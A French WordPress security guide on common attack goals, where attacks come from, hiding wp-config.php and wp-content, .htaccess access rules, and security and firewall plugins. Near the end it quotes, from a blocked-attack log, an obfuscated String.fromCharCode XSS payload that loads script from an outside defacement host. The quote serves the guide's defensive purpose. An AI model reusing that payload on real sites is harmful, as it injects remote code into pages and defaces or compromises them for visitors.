Une page qui concerne la sécurité sur Worpress.
Cette vous donne quelques recettes à suivre afin de sécuriser ou rendre votre WordPress plus difficile à hacker.
But du Hacking
Quelques but du hacking les plus courants pour un site lambda :
- Defacing de page d’index afin de propager un message à but politique
- Ajouter du code malicieux afin de rediriger les internautes et les infecter => Piratage/Hack site web et Javascript malicieux et Les Exploits sur les sites WEB piégés
- Ajouter du code ou modifier le site (fichier .htaccess par exemple) afin de provoquer de fausses alertes de sécurité pour faire la promotion de rogues.
Par exemple sur la page suivante : WordPress Timthumb Viagra Attack : klikcentral.com / glavgen.com
Le code ajouté redirige les internautes vers un faux site pharmaceutiques.
Source du Hacking
Les sources d’un hacking peuvent venir du vulnérabilités qui se trouvent à différents « étages » du site.
Vulnérabilités propre aux serveurs
Les vulnérabilités propres au serveur, soit l’OS, soit le serveur WEB, soit les sous-modules comme PHP.
Dans le cas d’un Serveur Apache/PHP/MySQL se reporter à la page : Sécuriser un serveur Apache/PHP/MySQL (LAMP)
Bien maintenir à jour son installation, dans le cas d’un serveur mutualisé, vous n’avez pas à gérer cette partie.
Vulnérabilités liés à WordPress / Extensions WordPress
Les vulnérabilités liées à WordPress ou aux extensions installées peuvent permettre l’accès et la modification du site.
Comme en témoigne ce post par exemple : WordPress Hack : Timthumb attack
Pensez à maintenir à jour votre installation.
Votre PC
Certains malwares de type stealer peuvent voler les identifiants FTP qui peuvent permettre la modification de votre PC, d’autres malwares sont spécialement créés afin d’infecter les sites, par exemple : Hack WEB site par vol FTP
Négligeance
Outre ne pas maintenir son serveur/installation de WordPress à jour, les néglieances les plus communes :
- Laisser le répertoire d’installation.
- Utiliser un mot de passe administrateur trop simple.
- Se logguer en tant qu’administrateur depuis un réseau non sécurisé (Wifi public, cybercafé etc.. )
Si une vulnérabilité est découverte, on assistera alors à une recrudescence des attaques tentant d’exploiter la vulnérabilité. Exemple avec la vulnérabilité ThimThumb.
Donc ne pas tomber dans la paranoia, les tentatives de hacks sont normales.
Sécuriser WordPress
La page suivante de codex donne pas mal d’étapes qui peuvent être suivis afin de sécuriser WordPress : http://codex.wordpress.org/Hardening_WordPress
Les astuces de déplacement de répertoire/renommage augmente la sécurité de WordPress notamment contre les scans automatiques qui sont en général pensé en ayant les fichiers et l’arborescence de WordPress par défaut.
Avant toute modification de votre site, faites une sauvegarde, dans la mesure du possible tester les modifications sur un site de test afin de mesurer les impacts.
Déplacer wp-config.php
wp-config.php est le fichier de configuration de votre WordPress qui contient les informations de connexion à la base.
Le fichier est en PHP et est donc interpréter par le serveur WEB, si un internaute se connecte dessus, il aura une page blanche et ne verra pas le contenu du fichier (code et donc les variables qui contiennent les informations de connexion).
Si la partie PHP n’est plus fonctionnel, le fichier est alors interprété comme un fichier texte et là il est possible de voir le contenu.
De même, une vulnérabilité qui donnerai accès en lecture à des fichiers peux permettre de lire le contenu du fichier.
Pour limiter la casse, on peux déplacer le fichier WP-Config.php qui se trouve à la racine du site afin que les pirates ne sachent pas où il se trouve ou le mettre dans un répertoire non accessible depuis le serveur WEB.
Cela permet aussi de se mettre à l’abbri des scans automatiques qui viseront le fichier en racine du site.
WordPress autorise de déplacer le fichier wp-config.php un cran au dessus du répertoire où est stocké WordPress.
Exemple : WordPress se trouve dans /var/www/WordPress
Donc le fichier wp-config.php se trouve dans /var/www/wp-config.php
Vous pouvez alors le déplacer dans : /var/www
Déplacer le répertoire wp-content
Le répertoire wp-content contient les plugins ainsi que les themes.
Pour sécuriser votre blog, vous pouvez modifier le répertoire.
Il convient ensuite de modifier le fichier wp-config.php pour donner le nouveau répertoire par la directive suivante :
define('WP_CONTENT_DIR', dirname(__FILE__) . '/repertoire-content');
Noter que si vous avez déplacer wp-config.php dans le répertoire parent comme expliqué dans le paragraphe précédent, il faut donner l’arborescence complète :
define('WP_CONTENT_DIR', dirname(__FILE__) . '/repertoire-site/repertoire-content');
Fichier .htaccess
Les fichiers .htaccess Apache permettent d’effectuer diverses opérations, notamment il est tout à fait possible d’interdire la lecture d’un fichier d’un site, de bloquer des IP
Il peux donc être interressant de bloquer l’accès au fichier wp-config.php – si vous ne l’avez pas déplacé.
Cela se fait à partir d’un fichier .htaccess suivant :
<files wp-config.php> order allow,deny deny from all </files>
On peux aussi bloquer l’accès au répertoire d’administration pour n’y autoriser que votre adresse IP si elle est fixe.
Vous devez alors créer un fichier .htaccess dans le répertoire d’administration wp-admin qui peux contenir les commandes suivantes :
deny from all
allow from IP
allow from IP
allow from IP
Notez que deny from permet aussi d’en interdire.
Extension Contre les tentives de Hack
Améliorer la sécurité de WordPress
Antivirus, WP-Defender/WP Security Scan sont des extensions qui scannent le contenu de votre installation WordPress et vous notifient si ces derniers trouvent des anomalies.
Antivirus recherche des PHP Shell ou du code malicieux qui aurait été insérés suite à une attaque réussi.
WP-Defender/WP Security Scan scanne WordPress et vous notifie s’il trouve des anomalies qui peuvent jouer sur la sécurité :
A noter que WP-Defender supprime la présence de la version dans le code source du site (Replace WP-Version le fait aussi) – Connaître la version de WordPress peux permettre de connaîtres les vulnérabilités et donc hacker votre blog. Bien entendu, rien n’empêche de lancer une batterie de tentatives d’exploit de vulnérabilités connus mais bon c’est visible.
Bloquer de requêtes HTTP malicieux
WordPress Firewall : Le plugin bloque les connexions HTTP suceptible d’être des tentatives de Hack – Il est ensuite possible de recevoir une notification par mail : http://matthewpavkov.com/wordpress-plugins/wordpress-attacks.html
WP-Sentinel : Dans le même style WP-Sentinel : http://wordpress.org/extend/plugins/wp-sentinel/
WordPress Guard : Et enfin WordPress Guard : http://taragana.com/products/free-wordpress-plugins/wordpress-guard-plugin/
WordPress Firewall et WP-Sentinel sont complémentaires, ce que bloque l’un, l’autre ne le bloque pas.
Vous pouvez toujours tester les deux en vérifiant que cela ne ralentit pas le site.
WP-Sentinel fournit un historique sympa des tentatives de hack :

Ci-dessous un Spam qui se fait bloquer :
Ci-dessous une tentative de RFI (Remote File Injection) :
Et cette tentative avec le code : document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,100,101,98,121,97,110,103,101,108,46,48,48,48,115,112,97,99,101,46,99,111,109,47,120,115,115,34,62,60,47,115,99,114,105,112,116,62));
qui conduit à l’adresse http://debyangel.000space.com/xss/qui saute vers http://debyangel.000space.com/xss/deface.php qui est une page de defacing de site WEB par une attaque XSS (Cross-Site Scripting)

Un mot sur le SPAM
WordPress fournit des extensions efficaces contre le SPAM en commentaire.
Vous pouvez installer une extension qui ajoute un captacha à saisir dans les commentaires :
Accouplé, à une extension qui interroge une base de données d’IP de base, vous devriez avoir la paix.
Vous avez Akismet et Project HoneyPot (extension Project Honey Pot Http:BL).
Dans les deux cas, vous devez aller sur le site, vous inscrire et récupérer une clef API qui sera à indiquer dans la configuration de l’extension.
Pour ma part, je n’ai que Akismet (bon faut dire aussi que les IP Russie, Ukrainienne et Chinoises sont blacklistées), ce qui donne :







